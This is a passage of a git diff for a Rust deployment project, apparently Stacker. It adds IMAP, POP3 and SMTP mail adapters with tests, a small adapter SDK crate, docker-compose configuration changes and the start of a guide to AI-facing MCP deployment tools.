+            request.host, request.port, err
+        ))
+    })?;
+    let mut session = client
+        .login(request.username.as_str(), password)
+        .await
+        .map_err(|(err, _)| {
+            PipeAdapterError::Message(format!(
+                "imap adapter login failed for '{}' on {}:{}: {}",
+                request.username, request.host, request.port, err
+            ))
+        })?;
+
+    let mailbox = request.mailbox.as_deref().unwrap_or("INBOX");
+    session.select(mailbox).await.map_err(|err| {
+        PipeAdapterError::Message(format!(
+            "imap adapter failed to select mailbox '{}': {}",
+            mailbox, err
+        ))
+    })?;
+
+    let mut uids: Vec<_> = session
+        .uid_search("UNSEEN")
+        .await
+        .map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "imap adapter failed to search mailbox '{}': {}",
+                mailbox, err
+            ))
+        })?
+        .into_iter()
+        .collect();
+    uids.sort_unstable();
+
+    let mut messages = Vec::new();
+    for uid in uids {
+        let fetches: Vec<_> = session
+            .uid_fetch(uid.to_string(), "RFC822")
+            .await
+            .map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "imap adapter failed to fetch uid {} from '{}': {}",
+                    uid, mailbox, err
+                ))
+            })?
+            .try_collect()
+            .await
+            .map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "imap adapter failed to decode uid {} from '{}': {}",
+                    uid, mailbox, err
+                ))
+            })?;
+
+        for fetch in fetches {
+            if let Some(body) = fetch.body() {
+                messages.push(parse_normalized_mail_message(
+                    body,
+                    Some(mailbox),
+                    Some(uid.to_string()),
+                )?);
+            }
+        }
+
+        let _: Vec<_> = session
+            .uid_store(uid.to_string(), "+FLAGS (\\Seen)")
+            .await
+            .map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "imap adapter failed to mark uid {} seen in '{}': {}",
+                    uid, mailbox, err
+                ))
+            })?
+            .try_collect()
+            .await
+            .map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "imap adapter failed to confirm seen flag for uid {} in '{}': {}",
+                    uid, mailbox, err
+                ))
+            })?;
+    }
+
+    let _ = session.logout().await;
+    Ok(messages)
+}
+
+fn filter_new_messages(
+    seen_ids: &Arc<Mutex<HashSet<String>>>,
+    messages: Vec<NormalizedMailMessage>,
+) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError> {
+    let mut seen_ids = seen_ids
+        .lock()
+        .map_err(|_| PipeAdapterError::Message("mail adapter state lock poisoned".to_string()))?;
+    let mut fresh = Vec::new();
+
+    for message in messages {
+        let dedupe_key = message
+            .cursor
+            .clone()
+            .or_else(|| message.message_id.clone())
+            .or_else(|| message.subject.clone())
+            .ok_or_else(|| {
+                PipeAdapterError::Message(
+                    "mail adapter could not derive a stable cursor or message id".to_string(),
+                )
+            })?;
+        if seen_ids.insert(dedupe_key) {
+            fresh.push(message);
+        }
+    }
+
+    Ok(fresh)
+}
+
+fn parse_normalized_mail_message(
+    raw: &[u8],
+    mailbox: Option<&str>,
+    cursor: Option<String>,
+) -> Result<NormalizedMailMessage, PipeAdapterError> {
+    let parsed = parse_mail(raw).map_err(|err| {
+        PipeAdapterError::Message(format!("mail adapter failed to parse raw message: {}", err))
+    })?;
+    let body = extract_mail_body(&parsed);
+
+    Ok(NormalizedMailMessage {
+        cursor,
+        mailbox: mailbox.map(str::to_string),
+        message_id: parsed.headers.get_first_value("Message-ID"),
+        subject: parsed.headers.get_first_value("Subject"),
+        sent_at: parsed.headers.get_first_value("Date"),
+        received_at: None,
+        from: parse_mail_addresses(&parsed, "From")?,
+        to: parse_mail_addresses(&parsed, "To")?,
+        cc: parse_mail_addresses(&parsed, "Cc")?,
+        bcc: parse_mail_addresses(&parsed, "Bcc")?,
+        headers: parsed
+            .headers
+            .iter()
+            .map(|header| (header.get_key().to_string(), header.get_value()))
+            .collect(),
+        body,
+        attachments: extract_attachments(&parsed)?,
+    })
+}
+
+fn extract_mail_body(parsed: &ParsedMail<'_>) -> NormalizedMailBody {
+    let mut body = NormalizedMailBody {
+        text: None,
+        html: None,
+    };
+
+    for part in parsed.parts() {
+        if part.ctype.mimetype.eq_ignore_ascii_case("text/plain") && body.text.is_none() {
+            if let Ok(text) = part.get_body() {
+                let text = text.trim().to_string();
+                if !text.is_empty() {
+                    body.text = Some(text);
+                }
+            }
+        }
+        if part.ctype.mimetype.eq_ignore_ascii_case("text/html") && body.html.is_none() {
+            if let Ok(html) = part.get_body() {
+                let html = html.trim().to_string();
+                if !html.is_empty() {
+                    body.html = Some(html);
+                }
+            }
+        }
+    }
+
+    if body.text.is_none() && body.html.is_none() && parsed.subparts.is_empty() {
+        if let Ok(text) = parsed.get_body() {
+            let text = text.trim().to_string();
+            if !text.is_empty() {
+                body.text = Some(text);
+            }
+        }
+    }
+
+    body
+}
+
+fn extract_attachments(
+    parsed: &ParsedMail<'_>,
+) -> Result<Vec<NormalizedMailAttachment>, PipeAdapterError> {
+    let mut attachments = Vec::new();
+
+    for part in parsed.parts() {
+        if part.ctype.mimetype.starts_with("multipart/") {
+            continue;
+        }
+        let disposition = part.get_content_disposition();
+        let filename = disposition
+            .params
+            .get("filename")
+            .cloned()
+            .or_else(|| part.ctype.params.get("name").cloned());
+        if let Some(filename) = filename {
+            let raw = part.get_body_raw().map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "mail adapter failed to decode attachment '{}': {}",
+                    filename, err
+                ))
+            })?;
+            attachments.push(NormalizedMailAttachment {
+                file_name: Some(filename),
+                content_type: Some(part.ctype.mimetype.clone()),
+                size_bytes: Some(raw.len() as u64),
+            });
+        }
+    }
+
+    Ok(attachments)
+}
+
+fn parse_mail_addresses(
+    parsed: &ParsedMail<'_>,
+    header_name: &str,
+) -> Result<Vec<NormalizedMailAddress>, PipeAdapterError> {
+    let Some(header) = parsed
+        .headers
+        .iter()
+        .find(|header| header.get_key_ref().eq_ignore_ascii_case(header_name))
+    else {
+        return Ok(Vec::new());
+    };
+
+    let addresses = addrparse_header(header).map_err(|err| {
+        PipeAdapterError::Message(format!(
+            "mail adapter failed to parse '{}' header: {}",
+            header_name, err
+        ))
+    })?;
+
+    Ok(addresses.iter().flat_map(flatten_mail_addr).collect())
+}
+
+fn flatten_mail_addr(address: &MailAddr) -> Vec<NormalizedMailAddress> {
+    match address {
+        MailAddr::Single(info) => vec![NormalizedMailAddress {
+            name: info
+                .display_name
+                .clone()
+                .filter(|name| !name.trim().is_empty()),
+            email: info.addr.clone(),
+        }],
+        MailAddr::Group(group) => group
+            .addrs
+            .iter()
+            .map(|info| NormalizedMailAddress {
+                name: info
+                    .display_name
+                    .clone()
+                    .filter(|name| !name.trim().is_empty()),
+                email: info.addr.clone(),
+            })
+            .collect(),
+    }
+}
+
+fn build_smtp_message(request: &SmtpDeliveryRequest) -> Result<Message, PipeAdapterError> {
+    let mut builder = Message::builder()
+        .from(parse_mailbox(&request.from)?)
+        .subject(request.subject.clone());
+
+    for recipient in &request.to {
+        builder = builder.to(parse_mailbox(recipient)?);
+    }
+    if let Some(reply_to) = &request.reply_to {
+        builder = builder.reply_to(parse_mailbox(reply_to)?);
+    }
+
+    match (&request.body_text, &request.body_html) {
+        (Some(text), Some(html)) => builder
+            .multipart(
+                MultiPart::alternative()
+                    .singlepart(
+                        SinglePart::builder()
+                            .header(ContentType::TEXT_PLAIN)
+                            .body(text.clone()),
+                    )
+                    .singlepart(
+                        SinglePart::builder()
+                            .header(ContentType::TEXT_HTML)
+                            .body(html.clone()),
+                    ),
+            )
+            .map_err(|err| {
+                PipeAdapterError::Message(format!("failed to build smtp message: {}", err))
+            }),
+        (Some(text), None) => builder
+            .singlepart(
+                SinglePart::builder()
+                    .header(ContentType::TEXT_PLAIN)
+                    .body(text.clone()),
+            )
+            .map_err(|err| {
+                PipeAdapterError::Message(format!("failed to build smtp message: {}", err))
+            }),
+        (None, Some(html)) => builder
+            .singlepart(
+                SinglePart::builder()
+                    .header(ContentType::TEXT_HTML)
+                    .body(html.clone()),
+            )
+            .map_err(|err| {
+                PipeAdapterError::Message(format!("failed to build smtp message: {}", err))
+            }),
+        (None, None) => Err(PipeAdapterError::Message(
+            "smtp adapter requires body_text or body_html content".to_string(),
+        )),
+    }
+}
+
+fn parse_mailbox(raw: &str) -> Result<Mailbox, PipeAdapterError> {
+    raw.parse().map_err(|err| {
+        PipeAdapterError::Message(format!("invalid email address '{}': {}", raw, err))
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::sync::{Arc, Mutex};
+
+    #[derive(Clone, Default)]
+    struct FakeSmtpClient {
+        requests: Arc<Mutex<Vec<SmtpDeliveryRequest>>>,
+    }
+
+    #[derive(Clone, Default)]
+    struct FakeMailSourceClient {
+        imap_messages: Arc<Mutex<Vec<NormalizedMailMessage>>>,
+        pop3_messages: Arc<Mutex<Vec<NormalizedMailMessage>>>,
+    }
+
+    #[async_trait]
+    impl SmtpClient for FakeSmtpClient {
+        async fn send(
+            &self,
+            request: &SmtpDeliveryRequest,
+        ) -> Result<SmtpDeliveryReceipt, PipeAdapterError> {
+            self.requests.lock().unwrap().push(request.clone());
+            Ok(SmtpDeliveryReceipt {
+                message_id: Some("msg-123".to_string()),
+                accepted_recipients: request.to.len(),
+            })
+        }
+    }
+
+    #[async_trait]
+    impl MailSourceClient for FakeMailSourceClient {
+        async fn poll_imap(
+            &self,
+            _request: &MailSourceRequest,
+        ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError> {
+            Ok(self
+                .imap_messages
+                .lock()
+                .expect("imap messages lock")
+                .clone())
+        }
+
+        async fn poll_pop3(
+            &self,
+            _request: &MailSourceRequest,
+        ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError> {
+            Ok(self
+                .pop3_messages
+                .lock()
+                .expect("pop3 messages lock")
+                .clone())
+        }
+    }
+
+    #[tokio::test]
+    async fn smtp_target_adapter_delivers_json_payload_with_fake_client() {
+        let client = FakeSmtpClient::default();
+        let adapter = SmtpTargetAdapter::with_client(
+            PipeAdapterReference::new("smtp").with_config(json!({
+                "host": "smtp.example.com",
+                "port": 2525,
+                "from": "noreply@example.com",
+                "to": ["alerts@example.com"],
+                "tls": false
+            })),
+            client.clone(),
+        )
+        .expect("adapter config should parse");
+
+        let response = adapter
+            .deliver(PipeAdapterPayload::Json(json!({
+                "subject": "Deployment ready",
+                "body_text": "The deployment completed successfully"
+            })))
+            .await
+            .expect("smtp delivery should succeed");
+
+        let requests = client.requests.lock().unwrap();
+        assert_eq!(requests.len(), 1);
+        assert_eq!(requests[0].host, "smtp.example.com");
+        assert_eq!(requests[0].port, 2525);
+        assert_eq!(requests[0].to, vec!["alerts@example.com".to_string()]);
+        assert_eq!(requests[0].from, "noreply@example.com");
+        assert_eq!(response["transport"], "smtp");
+        assert_eq!(response["adapter"], "smtp");
+        assert_eq!(response["delivered"], true);
+        assert_eq!(response["body"]["accepted_recipients"], 1);
+    }
+
+    #[tokio::test]
+    async fn smtp_target_adapter_requires_recipient_before_delivery() {
+        let adapter = SmtpTargetAdapter::with_client(
+            PipeAdapterReference::new("smtp").with_config(json!({
+                "host": "smtp.example.com",
+                "from": "noreply@example.com"
+            })),
+            FakeSmtpClient::default(),
+        )
+        .expect("adapter config should parse");
+
+        let error = adapter
+            .deliver(PipeAdapterPayload::Json(json!({
+                "subject": "Deployment ready",
+                "body_text": "The deployment completed successfully"
+            })))
+            .await
+            .expect_err("delivery should fail without recipients");
+
+        assert!(error
+            .to_string()
+            .contains("smtp adapter requires at least one recipient address"));
+    }
+
+    #[tokio::test]
+    async fn imap_source_adapter_polls_normalized_mail_dispatches() {
+        let client = FakeMailSourceClient {
+            imap_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage {
+                subject: Some("Incident opened".to_string()),
+                mailbox: Some("INBOX".to_string()),
+                body: pipe_adapter_sdk::NormalizedMailBody {
+                    text: Some("CPU usage exceeded threshold".to_string()),
+                    html: None,
+                },
+                ..Default::default()
+            }])),
+            pop3_messages: Arc::new(Mutex::new(Vec::new())),
+        };
+        let adapter = ImapSourceAdapter::with_client(
+            PipeAdapterReference::new("imap").with_config(json!({
+                "host": "imap.example.com",
+                "username": "alerts@example.com",
+                "password": "secret",
+                "mailbox": "INBOX"
+            })),
+            client,
+        )
+        .expect("imap adapter config should parse");
+
+        let dispatches = adapter.poll().await.expect("imap poll should succeed");
+
+        assert_eq!(dispatches.len(), 1);
+        assert_eq!(dispatches[0].adapter.code, "imap");
+        assert_eq!(
+            dispatches[0].payload,
+            PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage {
+                subject: Some("Incident opened".to_string()),
+                mailbox: Some("INBOX".to_string()),
+                body: pipe_adapter_sdk::NormalizedMailBody {
+                    text: Some("CPU usage exceeded threshold".to_string()),
+                    html: None,
+                },
+                ..Default::default()
+            }))
+        );
+    }
+
+    #[tokio::test]
+    async fn pop3_source_adapter_polls_normalized_mail_dispatches() {
+        let client = FakeMailSourceClient {
+            imap_messages: Arc::new(Mutex::new(Vec::new())),
+            pop3_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage {
+                subject: Some("Welcome".to_string()),
+                body: pipe_adapter_sdk::NormalizedMailBody {
+                    text: Some("hello".to_string()),
+                    html: None,
+                },
+                ..Default::default()
+            }])),
+        };
+        let adapter = Pop3SourceAdapter::with_client(
+            PipeAdapterReference::new("pop3").with_config(json!({
+                "host": "pop3.example.com",
+                "username": "alerts@example.com",
+                "password": "secret"
+            })),
+            client,
+        )
+        .expect("pop3 adapter config should parse");
+
+        let dispatches = adapter.poll().await.expect("pop3 poll should succeed");
+
+        assert_eq!(dispatches.len(), 1);
+        assert_eq!(dispatches[0].adapter.code, "pop3");
+        assert_eq!(
+            dispatches[0].payload,
+            PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage {
+                subject: Some("Welcome".to_string()),
+                body: pipe_adapter_sdk::NormalizedMailBody {
+                    text: Some("hello".to_string()),
+                    html: None,
+                },
+                ..Default::default()
+            }))
+        );
+    }
+}
diff --git a/crates/pipe-adapter-sdk/Cargo.toml b/crates/pipe-adapter-sdk/Cargo.toml
new file mode 100644
index 00000000..1c8fd990
--- /dev/null
+++ b/crates/pipe-adapter-sdk/Cargo.toml
@@ -0,0 +1,10 @@
+[package]
+name = "pipe-adapter-sdk"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+async-trait = "0.1"
+serde = { version = "1", features = ["derive"] }
+serde_json = "1"
+thiserror = "1"
diff --git a/crates/pipe-adapter-sdk/src/lib.rs b/crates/pipe-adapter-sdk/src/lib.rs
new file mode 100644
index 00000000..f725a964
--- /dev/null
+++ b/crates/pipe-adapter-sdk/src/lib.rs
@@ -0,0 +1,298 @@
+use async_trait::async_trait;
+use serde::{Deserialize, Serialize};
+use std::collections::BTreeMap;
+
+#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)]
+#[serde(rename_all = "snake_case")]
+pub enum PipeAdapterRole {
+    Source,
+    Target,
+}
+
+#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)]
+#[serde(rename_all = "snake_case")]
+pub enum PipeAdapterKind {
+    HttpEndpoint,
+    HtmlForm,
+    WebhookBridge,
+    SmtpTarget,
+    Pop3Source,
+    ImapSource,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct PipeAdapterReference {
+    pub code: String,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub role: Option<PipeAdapterRole>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub config: Option<serde_json::Value>,
+}
+
+impl PipeAdapterReference {
+    pub fn new(code: impl Into<String>) -> Self {
+        Self {
+            code: normalize_adapter_code(&code.into()),
+            role: None,
+            config: None,
+        }
+    }
+
+    pub fn with_role(mut self, role: PipeAdapterRole) -> Self {
+        self.role = Some(role);
+        self
+    }
+
+    pub fn with_config(mut self, config: serde_json::Value) -> Self {
+        self.config = Some(config);
+        self
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct PipeAdapterMetadata {
+    pub code: String,
+    pub display_name: String,
+    pub description: String,
+    pub kind: PipeAdapterKind,
+    pub roles: Vec<PipeAdapterRole>,
+}
+
+impl PipeAdapterMetadata {
+    pub fn supports_role(&self, role: PipeAdapterRole) -> bool {
+        self.roles.contains(&role)
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)]
+pub struct NormalizedMailAddress {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub name: Option<String>,
+    pub email: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)]
+pub struct NormalizedMailBody {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub text: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub html: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)]
+pub struct NormalizedMailAttachment {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub file_name: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub content_type: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub size_bytes: Option<u64>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)]
+pub struct NormalizedMailMessage {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub message_id: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub cursor: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub mailbox: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub subject: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub sent_at: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub received_at: Option<String>,
+    #[serde(default)]
+    pub from: Vec<NormalizedMailAddress>,
+    #[serde(default)]
+    pub to: Vec<NormalizedMailAddress>,
+    #[serde(default)]
+    pub cc: Vec<NormalizedMailAddress>,
+    #[serde(default)]
+    pub bcc: Vec<NormalizedMailAddress>,
+    #[serde(default)]
+    pub headers: BTreeMap<String, String>,
+    #[serde(default)]
+    pub body: NormalizedMailBody,
+    #[serde(default)]
+    pub attachments: Vec<NormalizedMailAttachment>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+#[serde(rename_all = "snake_case")]
+pub enum PipeAdapterPayload {
+    Json(serde_json::Value),
+    MailMessage(Box<NormalizedMailMessage>),
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct PipeAdapterDispatch {
+    pub adapter: PipeAdapterReference,
+    pub payload: PipeAdapterPayload,
+}
+
+#[derive(Debug, Clone, thiserror::Error)]
+pub enum PipeAdapterError {
+    #[error("{0}")]
+    Message(String),
+}
+
+#[async_trait]
+pub trait PipeSourceAdapter: Send + Sync {
+    fn metadata(&self) -> &PipeAdapterMetadata;
+
+    async fn poll(&self) -> Result<Vec<PipeAdapterDispatch>, PipeAdapterError>;
+}
+
+#[async_trait]
+pub trait PipeTargetAdapter: Send + Sync {
+    fn metadata(&self) -> &PipeAdapterMetadata;
+
+    async fn deliver(
+        &self,
+        payload: PipeAdapterPayload,
+    ) -> Result<serde_json::Value, PipeAdapterError>;
+}
+
+pub trait PipeAdapterCatalog: Send + Sync {
+    fn adapters(&self) -> Vec<PipeAdapterMetadata>;
+    fn find(&self, code: &str) -> Option<PipeAdapterMetadata>;
+}
+
+#[derive(Debug, Clone, Default)]
+pub struct InMemoryPipeAdapterRegistry {
+    adapters: BTreeMap<String, PipeAdapterMetadata>,
+}
+
+impl InMemoryPipeAdapterRegistry {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    pub fn register(&mut self, metadata: PipeAdapterMetadata) {
+        self.adapters
+            .insert(normalize_adapter_code(&metadata.code), metadata);
+    }
+}
+
+impl PipeAdapterCatalog for InMemoryPipeAdapterRegistry {
+    fn adapters(&self) -> Vec<PipeAdapterMetadata> {
+        self.adapters.values().cloned().collect()
+    }
+
+    fn find(&self, code: &str) -> Option<PipeAdapterMetadata> {
+        self.adapters.get(&normalize_adapter_code(code)).cloned()
+    }
+}
+
+pub fn normalize_adapter_code(code: &str) -> String {
+    code.trim().to_ascii_lowercase()
+}
+
+pub fn builtin_registry() -> InMemoryPipeAdapterRegistry {
+    let mut registry = InMemoryPipeAdapterRegistry::new();
+    for metadata in [
+        PipeAdapterMetadata {
+            code: "webhook".to_string(),
+            display_name: "Webhook bridge".to_string(),
+            description: "Generic HTTP webhook target adapter".to_string(),
+            kind: PipeAdapterKind::WebhookBridge,
+            roles: vec![PipeAdapterRole::Target],
+        },
+        PipeAdapterMetadata {
+            code: "smtp".to_string(),
+            display_name: "SMTP target".to_string(),
+            description: "Outbound SMTP delivery target adapter".to_string(),
+            kind: PipeAdapterKind::SmtpTarget,
+            roles: vec![PipeAdapterRole::Target],
+        },
+        PipeAdapterMetadata {
+            code: "pop3".to_string(),
+            display_name: "POP3 source".to_string(),
+            description: "Inbound POP3 mailbox polling source adapter".to_string(),
+            kind: PipeAdapterKind::Pop3Source,
+            roles: vec![PipeAdapterRole::Source],
+        },
+        PipeAdapterMetadata {
+            code: "imap".to_string(),
+            display_name: "IMAP source".to_string(),
+            description: "Inbound IMAP mailbox polling source adapter".to_string(),
+            kind: PipeAdapterKind::ImapSource,
+            roles: vec![PipeAdapterRole::Source],
+        },
+        PipeAdapterMetadata {
+            code: "mailhog".to_string(),
+            display_name: "MailHog SMTP target".to_string(),
+            description: "SMTP-compatible target alias for MailHog-style services".to_string(),
+            kind: PipeAdapterKind::SmtpTarget,
+            roles: vec![PipeAdapterRole::Target],
+        },
+    ] {
+        registry.register(metadata);
+    }
+    registry
+}
+
+pub fn builtin_adapter_kind(code: &str) -> Option<PipeAdapterKind> {
+    builtin_registry().find(code).map(|metadata| metadata.kind)
+}
+
+pub fn selector_matches_builtin_kind(selector: &str, kind: PipeAdapterKind) -> bool {
+    let canonical = normalize_adapter_code(selector);
+    if builtin_adapter_kind(&canonical) == Some(kind) {
+        return true;
+    }
+
+    selector
+        .split(|ch: char| !ch.is_ascii_alphanumeric())
+        .filter(|token| !token.is_empty())
+        .map(normalize_adapter_code)
+        .any(|token| builtin_adapter_kind(&token) == Some(kind))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn builtin_registry_exposes_first_party_adapters() {
+        let registry = builtin_registry();
+
+        assert_eq!(
+            registry.find("smtp").map(|metadata| metadata.kind),
+            Some(PipeAdapterKind::SmtpTarget)
+        );
+        assert_eq!(
+            registry.find("imap").map(|metadata| metadata.kind),
+            Some(PipeAdapterKind::ImapSource)
+        );
+    }
+
+    #[test]
+    fn selector_matching_detects_mail_aliases() {
+        assert!(selector_matches_builtin_kind(
+            "smtp",
+            PipeAdapterKind::SmtpTarget
+        ));
+        assert!(selector_matches_builtin_kind(
+            "mailhog",
+            PipeAdapterKind::SmtpTarget
+        ));
+        assert!(selector_matches_builtin_kind(
+            "status-mailhog-1",
+            PipeAdapterKind::SmtpTarget
+        ));
+        assert!(!selector_matches_builtin_kind(
+            "status-panel-web",
+            PipeAdapterKind::SmtpTarget
+        ));
+    }
+
+    #[test]
+    fn adapter_reference_normalizes_codes() {
+        let reference = PipeAdapterReference::new("  SMTP  ");
+
+        assert_eq!(reference.code, "smtp");
+    }
+}
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 1a738ee1..703bdb8f 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -40,8 +40,11 @@ services:
       - RUST_LOG=debug
       - RUST_BACKTRACE=1
       # Vault — must point to the real Vault service in the TryDirect network
-      - VAULT_ADDRESS=http://vault2.try.direct:8200
+      - VAULT_ADDRESS=https://vault.try.direct
       - VAULT_TOKEN=${STACKER_VAULT_TOKEN:-change-me}
+      # mTLS client cert for Vault — inline PEMs
+      - VAULT_CLIENT_CERT=${VAULT_CLIENT_CERT:-}
+      - VAULT_CLIENT_KEY=${VAULT_CLIENT_KEY:-}
     depends_on:
       stackerdb:
         condition: service_healthy
diff --git a/docker-compose.yml b/docker-compose.yml
index 51b7e611..c83361d6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -65,5 +65,5 @@ services:
     env_file:
       - ./docker/local/.env
     volumes:
-      - stackerdb:/var/lib/postgresql/data
+      - stackerdb:/var/lib/postgresql
       - ./docker/local/postgresql.conf:/etc/postgresql/postgresql.conf
\ No newline at end of file
diff --git a/docker/dev/docker-compose.yml b/docker/dev/docker-compose.yml
index ea7ee0d7..1f9051fe 100644
--- a/docker/dev/docker-compose.yml
+++ b/docker/dev/docker-compose.yml
@@ -1,5 +1,3 @@
-version: "2.2"
-
 volumes:
   stackerdb:
     driver: local
@@ -8,30 +6,28 @@ volumes:
     driver: local
 
 networks:
-  backend:
+  trydirect_default:
     driver: bridge
-    name: backend
     external: true
   trydirect-network:
     external: true
     name: trydirect-network
 
-
 services:
-
   stacker:
-    image: trydirect/stacker:0.0.8
-    build: .
+    image: trydirect/stacker:latest
+    #image: trydirect/stacker:test
     container_name: stacker
     restart: always
     volumes:
       - ./stacker/files:/app/files
+      - ./.env:/app/.env
       - ./configuration.yaml:/app/configuration.yaml
       - ./access_control.conf:/app/access_control.conf
       - ./migrations:/app/migrations
-      - ./.env:/app/.env
+      - ./stacker/ansible:/ansible/roles:ro
     ports:
-      - "8000:8000"
+      - "8001:8000"
     env_file:
       - ./.env
     environment:
@@ -41,12 +37,12 @@ services:
       stackerdb:
         condition: service_healthy
     networks:
-      - backend
+      - trydirect_default
 
-
-  stacker_queue:
-    image: trydirect/stacker:0.0.7
-    container_name: stacker_queue
+  stackermq:
+    image: trydirect/stacker:latest
+    #image: trydirect/stacker:test  # for testing mcp
+    container_name: stackermq
     restart: always
     volumes:
       - ./configuration.yaml:/app/configuration.yaml
@@ -54,10 +50,6 @@ services:
     environment:
       - RUST_LOG=debug
       - RUST_BACKTRACE=1
-      - AMQP_HOST=rabbitmq
-      - AMQP_PORT=5672
-      - AMQP_USERNAME=guest
-      - AMQP_PASSWORD=guest
     env_file:
       - ./.env
     depends_on:
@@ -65,9 +57,7 @@ services:
         condition: service_healthy
     entrypoint: /app/console mq listen
     networks:
-      - backend
-      - trydirect-network
-
+      - trydirect_default
 
   stackerdb:
     container_name: stackerdb
@@ -76,17 +66,17 @@ services:
       interval: 10s
       timeout: 5s
       retries: 5
-    image: postgres:18.3
+    image: postgres:16.0
     restart: always
     ports:
-      - 5432
+      - 5434:5432
     env_file:
       - ./.env
     volumes:
       - stackerdb:/var/lib/postgresql/data
       - ./postgresql.conf:/etc/postgresql/postgresql.conf
     networks:
-      - backend
+      - trydirect_default
 
   stackerredis:
     container_name: stackerredis
@@ -105,5 +95,5 @@ services:
       options:
         max-size: "10m"
         tag: "container_{{.Name}}"
-
-
+    networks:
+      - trydirect_default
diff --git a/docs/AI_DEPLOYMENT_WORKFLOWS.md b/docs/AI_DEPLOYMENT_WORKFLOWS.md
new file mode 100644
index 00000000..3a1d96f7
--- /dev/null
+++ b/docs/AI_DEPLOYMENT_WORKFLOWS.md
@@ -0,0 +1,204 @@
+# AI Deployment Workflows
+
+This guide documents the canonical AI-facing deployment workflow for Stacker.
+It is intended for MCP clients, frontend chat integrations, and evaluation
+fixtures that need a stable inspect -> explain -> plan -> apply -> recover
+sequence.
+
+## Canonical tools
+
+| Tool | Purpose | Notes |
+| --- | --- | --- |
+| `get_deployment_state` | Inspect canonical machine-readable deployment state | Prefer this over parsing `get_deployment_status` |
+| `explain_topology` | Explain runtime compose and env paths without secret values | Safe for path and service reasoning |
+| `explain_env` | Explain env provenance for one app without disclosing secret values | Returns layer names, key names, hashes, and destination metadata |
+| `get_deployment_plan` | Preview deploy or rollback actions and produce a stable fingerprint | Use before any mutation |
+| `apply_deployment_plan` | Apply a previously previewed plan | Requires `confirm=true`, `expected_fingerprint`, and MFA |
+| `get_deployment_events` | Observe progress, failure, and remediation signals | Use during apply and recovery loops |
+| `get_app_env_vars` | Inspect app env values with explicit secure metadata | Prefer `environment_entries` for `secure`/`source` flags |
+
+## Compatibility rules
+
+1. Prefer `get_deployment_state`, `get_deployment_plan`, and
+   `get_deployment_events` over `get_deployment_status` when an AI client needs
+   stable structured fields.
+2. Treat MCP tool payloads as explicit allow-list responses. Do not depend on
+   internal model fields that are not present in the documented response.
+3. For tool failures, read `result.isError` and parse the JSON string in
+   `result.content[0].text` as a typed error envelope.
+4. `apply_deployment_plan` is intentionally narrower than local CLI deploy:
+   server-side MCP supports `deploy_app` and `rollback_deploy`, but rejects full
+   `deploy` apply because that still requires local workspace context.
+
+## Recommended workflow
+
+### 1. Inspect current state
+
+Call `get_deployment_state` first to inspect status, drift, last command, agent
+health, and app inventory.
+
+```json
+{
+  "name": "get_deployment_state",
+  "arguments": {
+    "deployment_hash": "deployment_state_online"
+  }
+}
+```
+
+### 2. Explain topology or env provenance
+
+Use `explain_topology` when the AI needs runtime paths and service inventory.
+Use `explain_env` when it needs to reason about env provenance for one app.
+Use `get_app_env_vars` when it needs the redacted env payload itself together
+with explicit `secure` and `source` metadata for each variable.
+
+```json
+{
+  "name": "explain_topology",
+  "arguments": {
+    "deployment_hash": "deployment_state_online"
+  }
+}
+```
+
+```json
+{
+  "name": "explain_env",
+  "arguments": {
+    "deployment_hash": "deployment_state_online",
+    "app_code": "device-api"
+  }
+}
+```
+
+```json
+{
+  "name": "get_app_env_vars",
+  "arguments": {
+    "project_id": 42,
+    "app_code": "device-api"
+  }
+}
+```
+
+The response preserves the legacy redacted object in `environment_variables`,
+but new clients should prefer `environment_entries` because Vault-backed
+service-secret keys are marked with `secure=true` and `source="vault"` even
+when their names are not obviously secret-like.
+
